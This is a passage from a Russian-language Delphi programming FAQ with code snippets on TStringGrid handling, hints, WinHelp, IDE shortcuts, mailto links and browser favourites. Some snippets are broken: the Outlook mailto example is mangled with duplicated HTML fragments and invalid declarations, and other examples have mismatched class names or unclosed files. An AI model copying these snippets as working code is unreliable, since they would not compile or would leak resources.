             begin
              Flash := False;
             end;
К заголовку




Запись содержимого TStringGrid на диск
К сожалению, для этого компонента метод
SaveToFile не предусмотрен. Он предусмотрен только для свойства Rows, но
в этом случае кол-во файлов будет равно количеству горизонтальных рядов
в сетке. Я использовал запись через FileWrite. Может у кого есть
альтернативные варианты?

Ответ 1:
Используй для записи TStream и его методы:
Писать в поток построчно, т.е. заменить
SaveToFile на SaveToStream, а затем весь поток
сбросить в файл, или сразу открыть поток как
файловый...
Ответ 2:
Можно и так:
unit a;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Grids, StdCtrls;

type
TForm1 = class(TForm)
ListBox1: TListBox;
Button1: TButton;
StringGrid1: TStringGrid;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
with StringGrid1 do
begin
Cells[1,0] := 'Column 1';
Cells[2,0] := 'Column 2';
Cells[3,0] := 'Column 3';
Cells[4,0] := 'Column 4';
Cells[0,1] := 'Row 1';
Cells[1,1] := 'Object';
Cells[2,1] := 'Pascal';
Cells[3,1] := 'is';
Cells[4,1] := 'excellent';
Cells[0,2] := 'Row 2';
Cells[1,2] := 'Delphi';
Cells[2,2] := 'is';
Cells[4,2] := 'RAD';
end;
end;


procedure TForm1.Button1Click(Sender: TObject);
var
i,j :Integer;
begin
ListBox1.Items := StringGrid1.Rows[1];
for i := 2 to StringGrid1.ColCount do
begin
ListBox1.Items.AddStrings(StringGrid1.Rows[i]);
end;
end;

И потом, ListBox1.Items.SaveToFile(...).

Только содержимое каждой ячейки будет сопровождаться переводом каретки. И текст верхнего фиксированного ряда (если он есть)
тоже будет записан в файл. Чтобы этого избежать, я не вижу ничего другого, как заносить текст каждой ячейки в список строк,
сканируя всю таблицу в цикле.
end.

    ---------------2 ----------------
Мой метод....

{ сохраняем коллекцию }
procedure SaveSG(SG:TStringGrid; FileName:pchar);
var
 f:textfile;
 x,y:integer;
begin
  assignfile (f,FileName);
  rewrite (f);
  writeln (f,SG.colcount);
  writeln (f,SG.rowcount);
  For X:=0 to SG.colcount-1 do

  For y:=0 to SG.rowcount-1 do
  writeln (F, SG.cells[x,y]);
  closefile (f);
end;

procedure LoadSG(SG:TStringGrid; FileName:pchar);
var
 f:textfile;
 temp,x,y,r:integer;
 sapppath,tempstr:string;
begin
if FileExists(FileName) then
  begin
      assignfile (f,FileName);
      reset (f);
      readln (f,temp);
      SG.colcount:=temp;
      readln (f,temp);
      SG.rowcount:=temp;

    For X:=0 to SG.colcount-1 do
    For y:=0 to SG.rowcount-1 do
     begin
       readln (F, tempstr);
       SG.cells[x,y]:=tempstr;
     end;

end;
К заголовку




Как в StringGrid засунуть картинки?
Как в StringGriud засунуть картинки.
Так чтобы при изминение в какойто ячейке значение,
картинка менялась. Если можно поподробней.

Установить свойство DefaultDrawing = False. При этом, прорисовка ВСЕХ ЯЧЕЕК (и текстовых, и содержащих графику) ложится на
обработчик события
OnDrawCell, которое должно в нашем случае выглядеть примерно так (при следующих допущениях для нашего примера - в ячейке
[1,1] - некоторое целое
число, в ячейке [2,1] - картинка, которая будет загружаться из файла на диске в текущем каталоге, а само имя файла зависит от
значения в [1,1]):

procedure TForm1.OnDrawCell(Sender: TObject; ACol, ARow: Longint; Rect: TRect; State: TGridDrawState);
var
   Pic :TPicture;
begin
   Pic := TPicture.Create;
   case ARow of
      1: case ACol of
         1: // Прорисовываем число
           StringGrid.Canvas.TextOut(Rect.Left+3, Rect.Top+3, StringGrid.Cell[1,1]);
         2: // Теперь картинку
           begin
              case StrToInt(StringGrid.Cell[1,1]) of
                 1: Pic.LoadFromFile('1.bmp');
                 2: Pic.LoadFromFile('abba.jpg');
                 ........................................................
              end;
              StringGrid.Canvas.Draw(Rect.Left+1, Rect.Top+5, TGraphic(Pic));
              // или так
              // StringGrid.Canvas.StretchDraw(Rect, TGraphic(Pic));
           end;
        end;
      ........................................
   end;
   Pic.Free;
end;
К заголовку




Как вставить еще несколько строк в середину StringGrid или после определенной строки?
Имеется StringGrid с n-ым количеством строк. Как вставить еще несколько строк в середину StringGrid или после определенной
строки?

По-видимому, надо добавить строк в конец, изменив Grid.RowCount, а потом раздвинуть строки циклом снизу вверх:
Grid.Rows.Strings[i] := Grid.Rows.Strings[i - 1];

Или я бы сделал метод рисования этой таблицы, а данные хранил бы в отдельном stringList-е, там есть методы вставки, а вообще-то
для этих целей предпочитаю DrawGrid: переопределяю метод onDrawCell, всё же объектная модель лучше и данные проще
контролировать.
К заголовку




Как показывать нестандартный редактор в ячейке stringgrid (например combobox)?
procedure TForm1.FormCreate(Sender: TObject);
begin
        {Высоту combobox'а не изменишь, так что вместо combobox'а
                                будем изменять высоту строки grid'а !}
        StringGrid1.DefaultRowHeight := ComboBox1.Height;
        {Спрятать combobox}
        ComboBox1.Visible := False;
        ComboBox1.Items.Add('Delphi Kingdom');
        ComboBox1.Items.Add('Королевство Дельфи');
end;

procedure TForm1.ComboBox1Change(Sender: TObject);
begin
        {Перебросим выбранное в значение из ComboBox в grid}
        StringGrid1.Cells[StringGrid1.Col,
        StringGrid1.Row] :=ComboBox1.Items[ComboBox1.ItemIndex];
        ComboBox1.Visible := False;
        StringGrid1.SetFocus;
end;

procedure TForm1.ComboBox1Exit(Sender: TObject);
begin
        {Перебросим выбранное в значение из ComboBox в grid}
        StringGrid1.Cells[StringGrid1.Col,
        StringGrid1.Row] :=ComboBox1.Items[ComboBox1.ItemIndex];
        ComboBox1.Visible := False;
        StringGrid1.SetFocus;
end;

procedure TForm1.StringGrid1SelectCell(Sender: TObject; ACol,
                                        ARow: Integer; var CanSelect: Boolean);
var
        R: TRect;
begin
        if ((ACol = 3) AND (ARow <> 0)) then
                begin
                        {Ширина и положение ComboBox должно соответствовать
                                                                ячейке StringGrid}
                        R := StringGrid1.CellRect(ACol, ARow);
                        R.Left := R.Left + StringGrid1.Left;
                        R.Right := R.Right + StringGrid1.Left;
                        R.Top := R.Top + StringGrid1.Top;
                        R.Bottom := R.Bottom + StringGrid1.Top;
                        ComboBox1.Left := R.Left + 1;
                        ComboBox1.Top := R.Top + 1;
                        ComboBox1.Width := (R.Right + 1) - R.Left;
                        ComboBox1.Height := (R.Bottom + 1) - R.Top;
                        {Покажем combobox}
                        ComboBox1.Visible := True;
                        ComboBox1.SetFocus;
                end;
        CanSelect := True;
end;
К заголовку




Как сделать так чтобы TStringGrid автоматически изменял ширину колонок?
=== 1 ===
procedure AutoSizeGridColumn(Grid : TStringGrid; column : integer);
var i : integer;
temp : integer;
max : integer;
begin
max := 0;
for i := 0 to (Grid.RowCount - 1) do
begin
temp := Grid.Canvas.TextWidth(grid.cells[column, i]);
if temp > max then
 max := temp;
end;
Grid.ColWidths[column] := Max + Grid.GridLineWidth + 3;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
AutoSizeGridColumn(StringGrid1, 1);
end;

=== 2 ===
1. Поскольку в компоненте StringGrid по умолчанию все столбцы имеют одинаковую ширину - в некоторых ячейках
текст обрезается. Чтобы этого избежать, после заполнения StringGrid нужно для каждого столбца находить текст
максимальной длины и в соответствии с его длиной устанавливать ширину всего столбца.

Здесь StringGrid заполняется случайными строками при создании формы.

procedure TForm1.FormCreate(Sender: TObject);
var
  x, y, w: integer;
  s: string;
  MaxWidth: integer;
begin
  with StringGrid1 do
    ClientHeight := DefaultRowHeight * RowCount + 5;
  randomize;
  with StringGrid1 do begin
    for y := 0 to RowCount - 1 do
      for x := 0 to ColCount - 1 do begin
        s := '';
        for w := 0 to random(20) do
          s := s + chr(ord('a') + random(26));
        Cells[x,y] := s;
      end;

    Canvas.Font := Font;
    for x := 0 to ColCount - 1 do begin
      MaxWidth := 0;
      for y := 0 to RowCount - 1 do begin
        w := Canvas.TextWidth(Cells[x,y]);
        if w > MaxWidth then MaxWidth := w;
      end;
      ColWidths[x] := MaxWidth + 5;
    end;
  end;
end;
К заголовку




Цветные ячейки в StringGrid / DBGrid
29 ноя 2001 (четверг), 09:16:51

Автор: Alex Schlecht
StringGrids / DBGrids с цветными ячейками смотрятся очень красиво, и
Вы можете информировать пользователя о важных данных внутри Grid.
Совместимость: все версии Delphi
К сожалению, невозможно применить один и тот же метод к StringGrids и
к DBGrids. Итак сперва рассмотрим как это сделать в StringGrid:

1. StringGrid
=============
Для раскрашивания будем использовать событие "OnDrawCell". Следующий код показывает, как сделать в Grid красный бэкраунд.
Бэкграунд второй колонки будет зелёным.

procedure TForm1.StringGrid1DrawCell(Sender: TObject; ACol, ARow: Integer;
  Rect: TRect; State: TGridDrawState);

const   //здесь определяем Ваш цвет. Так же можно использовать цвета по умолчанию.
  clPaleGreen = TColor($CCFFCC);
  clPaleRed =   TColor($CCCCFF);

begin

//Если ячейка получает фокус, то нам надо закрасить её другими цветами
if (gdFocused in State) then begin
   StringGrid1.Canvas.Brush.Color := clBlack;
   StringGrid1.Canvas.Font.Color := clWhite;
end
else  //Если же ячейка теряет фокус, то закрашиваем её красным и зелёным

   if ACol = 2   //Вторая колонка будет зелёной , другие - ячейки красными
    then StringGrid1.Canvas.Brush.color := clPaleGreen
    else StringGrid1.canvas.brush.Color := clPaleRed;

//Теперь закрасим ячейки, но только, если ячейка не Title- Row/Column
//Естественно это завит от того, есть у Вас title-Row/Columns или нет.

if (ACol > 0) and (ARow>0) then
  begin
      //Закрашиваем бэкграунд
    StringGrid1.canvas.fillRect(Rect);

      //Закрашиваем текст (Text). Также здесь можно добавить выравнивание и т.д..
    StringGrid1.canvas.TextOut(Rect.Left,Rect.Top,StringGrid1.Cells[ACol,ARow]);
  end;
end;

Если Вы захотите чтобы цвет ячеек менялся в зависимости от значения в них, то можно заменить 3 линии (if Acol = 2 ......) на
что-нибуть вроде этого

  if StringGrid1.Cells[ACol,ARow] = 'highlight it'
    then StringGrid1.Canvas.Brush.color := clPalered
    else StringGrid1.canvas.brush.Color := clwhite;

Ну а теперь давайте раскрасим DBGrids:

2. DBGrid
=========
С DBGrids это делается намного проще. Здесь мы будем использовать событие "OnDrawColumnCell". Следующий пример
разукрашивает ячейки колонки "Status" когда значение НЕ равно "a".
Если Вы хотите закрасить целую линию, то достаточно удалить условие "If..." (смотрите ниже)

procedure TForm1.DBGrid1DrawColumnCell(Sender: TObject; const Rect: TRect;
                                       DataCol: Integer; Column: TColumn;
                                       State: TGridDrawState);
const
  clPaleGreen = TColor($CCFFCC);
  clPaleRed =   TColor($CCCCFF);
begin

if Column.FieldName = 'Status' then  //Удалите эту линию, если хотете закрасить целую линию

if Column.Field.Dataset.FieldbyName('Status').AsString <> 'a'
  then
   if (gdFocused in State) //имеет ли ячейка фокус?
    then dbgrid1.canvas.brush.color := clBlack          //имеет фокус
    else dbgrid1.canvas.brush.color := clPaleGreen;  //не имеет фокуса

//Теперь давайте закрасим ячейку используя стандартный метод:
dbgrid1.DefaultDrawColumnCell(rect,DataCol,Column,State)
end;
Вот и всё. Не правда ли красиво ?
Ответ 2:
Фрагмент кода моей программы - в зависимости от значения в поле
taPlatAnswerType
рисует строку белам цветом на красном фоне


procedure TfmMain.dgPlatDrawColumnCell(Sender: TObject; const Rect:
TRect;
  DataCol: Integer; Column: TColumn; State: TGridDrawState);
begin
  with dgPlat.Canvas do
  begin
    if (taPlatAnswerType.AsString = 'b') and not (gdFocused in State)
then
//  Условие какую строку надо рисовать по другому
    begin
      Brush.Color := clRed;
      Font.Color := clWhite;
      FillRect(Rect);
      TextOut(Rect.Left, Rect.Top, Column.Field.Text);
    end
    else
      dgPlat.DefaultDrawColumnCell(Rect, DataCol, Column, State);
  end;
end;
К заголовку




Как вызвать поиск справки?
Захотелось тут сделать так, чтобы в приложении вызывался хелп
с окошечком для поиска раздела. Hу короче макрос "Search()" для WinHelp-а.
procedure TForm1.HelpSearchFor;
var
  S : String;
begin
  S := '';
  Application.HelpFile := 'C:\MYAPPPATH\MYHELP.HLP';
  Application.HelpCommand(HELP_PARTIALKEY, LongInt(@S));
end;
К заголовку




Как закрыть окно подсказки если пользователь закончил приложение?
procedure TMainForm.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  Winhelp(Handle, 'WINHELP.HLP', HELP_QUIT, 0);
  Action := caFree;
end;
К заголовку




Как показать Popup Help?
WinProcs.function WinHelp(Wnd: HWnd; HelpFile: PChar; Command: Word; DatA>:
LongInt): Bool;

HELP_CONTEXTPOPUP
An unsigned long integer containing the context number for a topic.
Displays in a pop-up window a particular Help topic identified by a context
number that has been defined in the [MAP] section of the  .HPJ file.
К заголовку




Как показать поиск по индексу в моем файле помощи?
Application.HelpCommand(HELP_FINDER,0).
Для более подробной информации смотрите Windows API функцию WinHelp.
К заголовку




MultiHint без компоненты?
Hint примерно такой: Dies ist ein @zweizeiliger Hint@aerhlkjerh

procedure TForm1.FormCreate(Sender: TObject);
Var I: Integer;
    S: String;
begin
for I := 0 to ComponentCount -1 do
  if Components[I] is TControl then
    With TControl(Components[I]) Do
    Begin
      S := Hint;
      While Pos('@',S) <> 0 Do
        S[Pos('@',S)] := #13;
      Hint := S;
    End;
end;
К заголовку




Вызов метода Hint напрямую?
function RevealHint (Control: TControl): THintWindow;

{Показать окно Hint для указанного Control, и убрать его в методе RemoveHint.}

var
   ShortHint: string;
   AShortHint: array[0..255] of Char;
   HintPos: TPoint;
   HintBox: TRect;
begin
   Result := THintWindow.Create(Control);        { создать лкно для Hint }
   ShortHint := GetShortHint(Control.Hint);        { получить левую часть - до знака '|': }
   HintPos := Control.ClientOrigin;
   Inc(HintPos.Y, Control.Height + 6);    <<<< See note below
   HintBox := Bounds(0, 0, Screen.Width, 0);
   DrawText(Result.Canvas.Handle,
       StrPCopy(AShortHint, ShortHint), -1, HintBox,
       DT_CALCRECT or DT_LEFT or DT_WORDBREAK or DT_NOPREFIX);
   OffsetRect(HintBox, HintPos.X, HintPos.Y);
   Inc(HintBox.Right, 6);
   Inc(HintBox.Bottom, 2);
   { Now show the window: }
   Result.ActivateHint(HintBox, ShortHint);
end; {RevealHint}

procedure RemoveHint (var Hint: THintWindow);

{Убрать окно Hint ранее открытое в функции RevealHint.}

begin
   Hint.ReleaseHandle;
   Hint.Free;
   Hint := nil;
end; {RemoveHint}
К заголовку




Как изменить внешний вид хинтов (всплывающих подсказок)?
1. Создаем свой класс - потомок от THintWindow

  type
    TCustomHint = class (THintWindow)
    public
      constructor Create(AOwner: TComponent); override;
    end;

  Пpимечание 1. Этот способ не позволит изменить цвет шpифта - для этого
пpидется пеpекpывать метод Paint;

  Пpимечание 2. Если пеpекpыть CreateParams, то можно, напpимеp, наpисовать
Hint в фоpме облачка.

  Пpимечание 3. Для изменения цвета фона F1 TApplication.OnShowHint, HintInfo.

2. Меняем фонт:

  constructor TCustomHint.Create(AOwner: TComponent);
  begin
    inherited Create(AOwner);
    with Canvas.Font do               // Именно так, а не пpосто Font!
    begin
      Name := 'Times New Roman Cyr';
      Style := [fsBold, fsItalic];
      Size := 40;
    end;
  end;

3. Устанавливаем новый хинт

  procedure TForm1.FormCreate(Sender: TObject); // Это может быть любой
  begin                                         // обpаботчик
    HintWindowClass := TMyHint;      // Устанавливаем глобальную пеpеменную
    Application.ShowHint := false;   // Application.FHintWindow.Free
    Application.ShowHint := true;    // Application.FHintWindow.Create
  end;

Литеpатуpа:
1. <...>\Source\VCL\Forms.pas (TApplication).
2. <...>\Source\VCL\Controls.pas (THintWindow).
3. Delphi Help (OnShowHint, THintInfo).


Q: Как использовать свои курсоры в программе?
A: {$R CURSORS.RES}

const
  crZoomIn = 1;
  crZoomOut = 2;

Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN');
Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT');
К заголовку




Как показать всплывающую подсказку для компонента?
Вы можете програмно установить курсор на компонент, имеющий подсказку или показать собственную подсказку.
Пример 1 - программная установка курсора мыши
procedure TForm1.Button1Click(Sender: TObject);
var
  pt : TPoint;
begin
{Позволим перерисовку кнопки}
  Application.ProcessMessages;
{Получаем координаты экрана для центра кнопки}
  pt := ClientToScreen(Point(Button1.Left + Button1.Width div 2,
                             Button1.Top + Button1.Height div 2));
{Устанавливаем курсор на центр кнопки}
  SetCursorPos(Pt.x, Pt.y);
end;
Пример 2 - Создание собственного окна подсказки
procedure TForm1.FormCreate(Sender: TObject);
begin
  Timer1.Enabled := false;
  Panel1.Visible := false;
  Panel1.BevelInner := bvNone;
  Panel1.BevelOuter := bvNone;
  Panel1.BorderStyle := bsSingle;
  Panel1.Color := clWhite;
  Button1.Hint := 'Hint test';
end;
К заголовку




Как показать подсказки "hints" для элементов меню?
В примере создается обработчик события Application.Hint - подсказки меню изображаются на status panel.

Пример:

type
        TForm1 = class(TForm)
                Panel1: TPanel;
                MainMenu1: TMainMenu;
                MenuItemFile: TMenuItem;
                MenuItemOpen: TMenuItem;
                MenuItemClose: TMenuItem;
                OpenDialog1: TOpenDialog;
                procedure FormCreate(Sender: TObject);
                procedure MenuItemCloseClick(Sender: TObject);
                procedure MenuItemOpenClick(Sender: TObject);
        private
                {Private declarations}
                procedure HintHandler(Sender: TObject);
        public
                {Public declarations}
end;

var
        Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
        Panel1.Align := alBottom;
        MenuItemFile.Hint := 'File Menu';
        MenuItemOpen.Hint := 'Opens A File';
        MenuItemClose.Hint := 'Closes the Application';
        Application.OnHint := HintHandler;
end;

procedure TForm1.HintHandler(Sender: TObject);
begin
        Panel1.Caption := Application.Hint;
end;

procedure TForm1.MenuItemCloseClick(Sender: TObject);
begin
        Application.Terminate;
end;

procedure TForm1.MenuItemOpenClick(Sender: TObject);
begin
        if OpenDialog1.Execute then
                Form1.Caption := OpenDialog1.FileName;
end;
К заголовку




Как заставить hint появиться в нужный момент
Сделаем это по нажатию на кнопку, а по нажатию на вторую кнопку скрываем окно hint'a:

public
{ Public declarations }
h:THintWindow;

procedure TForm1.Button1Click(Sender: TObject);
begin
IF h<>nil then H.ReleaseHandle;
H:=THintWindow.Create(Form1);
H.ActivateHint(Form1.ClientRect,'Это всплывающая подсказка');
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
IF h<>nil then H.ReleaseHandle;
end;
К заголовку




Подсказка в Edit
var
  words: TStringList;

procedure TForm1.FormCreate(Sender: TObject);
begin
  words := TStringList.Create;
  words.Sorted := true;
  words.Add('one');
  words.Add('two');
  words.Add('four');
  words.Add('five');
  words.Add('six');
  words.Add('seven');
  words.Add('eight');
  words.Add('nine');
  words.Add('ten');
end;

procedure TForm1.Edit1KeyUp(Sender: TObject; var Key: Word;
  Shift: TShiftState);
const
  chars: set of char = ['A'..'Z', 'a'..'z', 'А'..'Я', 'а'..'я'];
var
  w: string;
  i: integer;
  s: string;
  full: string;
  SelSt: integer;
begin
  case Key of
    VK_RETURN, VK_TAB: begin
      Edit1.SelStart := Edit1.SelStart + Edit1.SelLength;
      Edit1.SelLength := 0;
      Exit;
    end;
    VK_DELETE, VK_BACK: begin
      Edit1.ClearSelection;
      Exit;
    end;
  end;
  s := Edit1.Text;
  SelSt := Edit1.SelStart;
  i := SelSt;
  if (length(s) > i) and (s[i+1] in chars) then Exit;
  w := '';
  while (i >= 1) and (s[i] in chars) do begin
    w := s[i] + w;
    dec(i);
  end;
  if length(w) <= 0 then Exit;
  words.Find(w, i);
  if (i >= 0) and (UpperCase(copy(words[i], 1, length(w))) = UpperCase(w)) then begin
    full := words[i];
    insert(copy(full, length(w) + 1, length(full)), s, SelSt + 1);
    Edit1.Text := s;
    Edit1.SelStart := SelSt;
    Edit1.SelLength := length(full) - length(w);
  end;
end;
К заголовку




Delphi 4 виснут при запуске, видеокарта S3 Virge?
REGEDIT4 [HKEY_CURRENT_CONFIG\Display\Settings] "BusThrottle"="on"
Если не помогает, то попробуйте добавить в system.ini:
[Display] "BusThrottle"="On"
К заголовку




InstallShield - не слишком много?
Есть у меня конечно InstallShield, но пакетик довольно большой и качать его...
 Если тебе нужен именно ОН -- поищи на сайте производителя.
 А вообще мой совет - пакеты установки под ним получаются довольно большие,
 поэтому лучше использовать какие-нибудь другие инсталляторы - например, Setup Generator.
 У Дельфя где-то есть файл bdedeploy (у меня он лежит в папке
 C:\Program Files\Common Files\Borland Shared\BDE) - там очень подробно описывается какие файлы
 нужны для нормального функционирования программы, использующей базы данных.
 Кстати, не забудь включить еще и файл idpdx32.dll - про него почему-то ни слова... (????)
 ((( Установка получается на порядок поменьше, да и файликов лишних нет... ))))
К заголовку




Как бросить несколько копий компонента на форму?
Удерживая клавишу Shift, выделите компонент на палитре компонентов.
Голубая окантовка появится вокруг границ компонента на палитре.
Теперь щелкните на форме в различных местах.
С каждым щелчком Вы получите новую копию компонента.
Чтобы убрать эту опцию, один раз щелкните по исходному компоненту на палитре,
отпустив клавишу Shift.
К заголовку




Как быстро добавить отступ к блоку кода?
Выделите блок кода
shift+ctrl+I - добавить отступ
shift+ctrl+U - убрать отступ
К заголовку




Как быстро перейти в опции проекта?
Нажмите сочетание клавиш Ctrl+Shift+F11
К заголовку




Как быстро перейти к следующей ошибке компилятора?
Alt-F8 - перейти к следующей ошибке компилятора
Alt-F7 - перейти к предыдущей ошибке компилятора
К заголовку




Как записать клавиатурный макрос?
Ctrl+Shift+P Запускает макрос
Ctrl+Shift+R Начинает и заканчивает запись макроса
К заголовку




Как изменить директорию, куда Delphi сохраняет проекты по умолчанию?
Измените рабочий каталог в свойствах ярлыка, которым Вы запускаете Delphi.
К заголовку




Как убрать заставку при загрузке Delphi?
Добавите в командную строку запуска  Delphi параметр "-ns" (без кавычек).
К заголовку




Как уменьшить размер программы
Созданное на Delphi 32 приложение по умолчанию загружает библиотеки OLE32 которые весят порядка 1.5 мега.
 В том случае, если приложение не использует технологию OLE
 и не работает с Borland Database Engine, для уменьшения объема
  занимаемой памяти эти библиотеки можно выгрузить,
 указав в файле проекта первой строкой: FreeLibrary(GetModuleHandle('OleAut32')); В Uses проекта необходимо указать модуль
Windows.
К заголовку




Работает ли Delphi сейчас?
function IsDelphiRun:boolean;
{Работает ли Delphi сейчас}
var
 h1,h2,h3:Hwnd;
begin
 h1:=FindWindow('TAppBuilder',nil);
 h2:=FindWindow('TAlignPalette',nil);
 h3:=FindWindow('TPropertyInspector',nil);
 Result:=(h1<>0)and(h2<>0)and(h3<>0);
end;
К заголовку




Как переводить программы с С++ на Delphi
Цель данного документа - обучить читатателя основам техники перевода программ на С++, написанных только с
использованием Win32 API, на язык Object Pascal, используемый в RAD Delphi. Автор не ставил перед собой цели
научить пользователя переводить С-программы, написанные с ипользованием какой бы то ни было классовой
оболочки (OWL, MFC etc.), и если читатель все же смог, руководствуясь данным текстом, перевести такую
программу на Object Pascal, то ответственнен за это только он.

Структура С-программы для Windows
Как известно, точкой входа в С-программы является функция WinMain. Эта функция обязательно присутствует в
каждой С-программе, но в Object Pascal нет понятия, аналогичного WinMain в С++, и точкой входа в программу
является первый оператор главного файла проекта .dpr-файла

Program main;
uses windows;

begin
//выполнение программы начнется отсюда
end;

Таким образом, содержимое WinMain переносится (с соответствующими изменениями) в главный блок begin...end
программы. Далее необходимо из тела функции WinMain выделить все описания переменных и внести их в блок var
Pascal-программы. Затем необходимо найти описания переменных из С-программы, расположенные вне любых
функций и вынести их в самый верхний блок var программы.

Соответсвие между типами данных в C++ и Pascal
Изначально имена типов в С и Pascal бвли различны, однако в Object Pascal для совместимости добавлены
синонимы стандартных типов с именами такими же, как и в С. В таблице внизу приведены имена типов, имеющихся
как в С++, так и в Object Pascal и их эквиваленты в Object Pascal.

HWND; HPEN; HANDLE; HICON; HBITMAP; HICON; etc.  THandle; LongInt
DWORD LongInt
LPSTR PChar
CHAR byte
PVOID Pointer
BOOL longbool

Также в WinAPI используется очень много типов-структур (в Pascal - записи record). Чтобы преобразовать имя
типа-структуры из С в Pascal, в большинстве случаев достаточно добавит к именам букву T, например,
PAINTSTRUCT -> TPaintStruct; POINT -> TPoint; RECT -> TRect. Имя типа-указателя-на-структуру остается
неизменным (оно как начиналось на P, так и начинается), например, PHandle, PRECT, PPoint.

Преобразования констант
Имена общеситсемных констант остаются без изменений. Константы, вводимые при помощи директивы #DEFINE
вводятся в Pascal-программу при помощи слова const. Макроопределения из С рекомендуется заменять на
функции.

Преобразования синтаксиса
Преобразования происходят по следующей схеме:

Элемент из С++ Элемент из Pascal
{   } Begin и End соответственно
= :=
== =
!= <>
& или && and
| или || or

Аналогично заменяются операторы.
К заголовку




Как вызвать Outlook Express с заданными параметрами?
как в Делфи вызвать Outlook Express, так чтобы при его
открытии создавалось сообщение с вписанными : адресами(кому и от кого) и
темой, а также текстом сообщения (считываемом с заданного текстового
файла).
2) И подскожите как в Делфи сделать, чтобы вызвался Outlook Express и
при
его
открытии доставлялась почта, причем копии полученных сообщений, если
сообщения есть, записывались в заданные текстовые файлы.

== 1 ===
Без Outlook можно
TNMSNTP компонент

=== 2 ===
1.
var em:subject,em_body,em_mail:String;
begin
 em_subject:='This is a subject line';
 em_body:='Message body text goes here';
 mailto:em_mail:='mailto:coolsong@mail.ru?subject='+em_subject+'amp&body='+em_body">
mailto:em_mail:='mailto:coolsong@mail.ru?subject='+em_subject+'amp&body='+em_body">mailto:em_mail:='mailto:coolsong@mail.ru?subj
ect='+em_subject+'&body='+em_body
ShellExecute(Handle,'open',PChar(em_mail),nil,nil,SW_SHOWNORMAL);
end;

2. Второе через дельфи реализовать нельзя. Но можно поставить галочку в Outlook Express чтобы он получал почту автоматически
при старте
программы. А сам аутлук запускать из дельфи таким образом:

ShellExecute(Handle,'open','путь_к_аутлуку_вместе_с_именем_файла_аутлука',nil,nil,SW_ShowNormal);
Далее настроить фильтры аутлука таким образом, чтобы он записывал
сообщения в зависимости от свойств письма(from, to, subject, attaching и
т.д.) в разные свои папки. Только так. А как дельфи чтобы ещё их
обрабатывал, я не знаю.

Ответ 3:
1)uses ..., ShelAPI;

var
SomeStr,SubjStr,BodyStr:string
begin
SomeStr:='mailto:AlexVVH%20?Subject='+SubjStr+'amp&body='+BodyStr;
ShellExecute(form1,'open',PChar(SomeStr),'','',SW_SHOW);
end

Поле от кого заполняется почтовиком; в строке SomeStr ВСЕ пробелы
замени на '%20', а ВСЕ символы #13#10 - на '%13%10'.

2)Может проще самому написать почтовый клиент?

P.S.  Ориентироваться  только  на  Outlook  не  стоит, если ты сможешь
решить  свой  второй  вопрос  с  аутлуком, то на машине с TheBat! твоя
программа работать не будет
К заголовку




Как открыть URL браузером, установленным по умолчанию?
Используйте функцию ShellExecute.
Пример:

             uses ShellAPI;

             procedure TForm1.Button1Click(Sender: TObject);
             begin
               ShellExecute(Form1.Handle,
                            nil,
                            'http://www.borland.com',
                            nil,
                            nil,
                            SW_SHOWNORMAL);
             end;
К заголовку




Как по IP узнать Hostname
function TGenericNetTask.GetPeerOrigin( const ALogin : String ) : DWORD;
const AddressStrMaxLen = 256;
var len : DWORD;

ptr : PChar;
pHE : PHostEnt;
addr : TSockAddr;
buf : Array [0..AddressStrMaxLen-1] of Char;
begin

if FNet=nil then raise ESocketError.Error(-1,ClassName+'.GetPeerAds: Net is
not defined',WSAHOST_NOT_FOUND);

len := SizeOf(TSockAddr);
if getpeername(FSocket,addr,len)<>0 then
RaiseLastSocketError(-1,ClassName+'.GetPeerAds: getpeername()');

case addr.sin_family of
AF_INET: // TCP/IP
begin
pHE := gethostbyaddr( PChar(@addr.sin_addr), SizeOf(TInAddr),
AF_INET );

if pHE=nil then RaiseLastSocketError(-1,ClassName+'.GetPeerAds:
gethostbyaddr()');

FPeerNodeName := pHE^.h_name;
if FNet.NodeByName(FPeerNodeName)=nil then
begin
ptr := StrScan(pHE^.h_name,'.');
if ptr<>nil then FPeerNodeName :=
Copy(pHE^.h_name,1,ptr-pHE^.h_name);

end;
end;
else
len := AddressStrMaxLen;
if WSAAddressToStringA(sin,sinlen,nil,buf,len)<>0 then
RaiseLastSocketError(-1,ClassName+'.GetPeerAds: WSAAddressToStringA()');

ptr := StrRScan(buf,':');
if ptr<>nil then len := ptr-buf;
FPeerNodeName := Copy(buf,1,len);
end;
Result :=
FNet.EncodeAddress(ALogin,FPeerNodeName,'',[bLoginIdRequired,bNodeIdREquired,bR
aiseError]);
end; {TGenericNetTask.GetPeerOrigin}
К заголовку




Как получить закладки Iexplorer?
function GetIEFavourites(const favpath: string):TStrings;
var
searchrec:TSearchrec;
str:TStrings;
path,dir,filename:String;
Buffer: array[0..2047] of Char;
found:Integer;
begin
str:=TStringList.Create;
//Get all file names in the favourites path
path:=FavPath+'\*.url';
dir:=ExtractFilepath(path);
found:=FindFirst(path,faAnyFile,searchrec);
while found=0 do begin
//Get now URLs from files in variable files
SetString(filename, Buffer, GetPrivateProfileString('InternetShortcut',
PChar('URL'), NIL, Buffer, SizeOf(Buffer), PChar(dir+searchrec.Name)));
str.Add(filename);
found:=FindNext(searchrec);
end;
//unterordner finden
found:=FindFirst(dir+'\*.*',faAnyFile,searchrec);
while found=0 do begin
if ((searchrec.Attr and faDirectory) > 0) and (searchrec.Name[1]<>'.') then
str.AddStrings(GetIEFavourites(dir+'\'+searchrec.name));
found:=FindNext(searchrec);
end;
FindClose(searchrec);
Result:=str;
end;

procedure TForm1.Button1Click(Sender: TObject);
var pidl: PItemIDList;
FavPath: array[0..MAX_PATH] of char;
begin
SHGetSpecialFolderLocation(Handle, CSIDL_FAVORITES, pidl);
SHGetPathFromIDList(pidl, favpath);
ListBox1.Items:=GetIEFavourites(StrPas(FavPath));
end;

К заголовку




Как проверить подключен ли компьютер к internet ?
== 1 ===
interface
uses
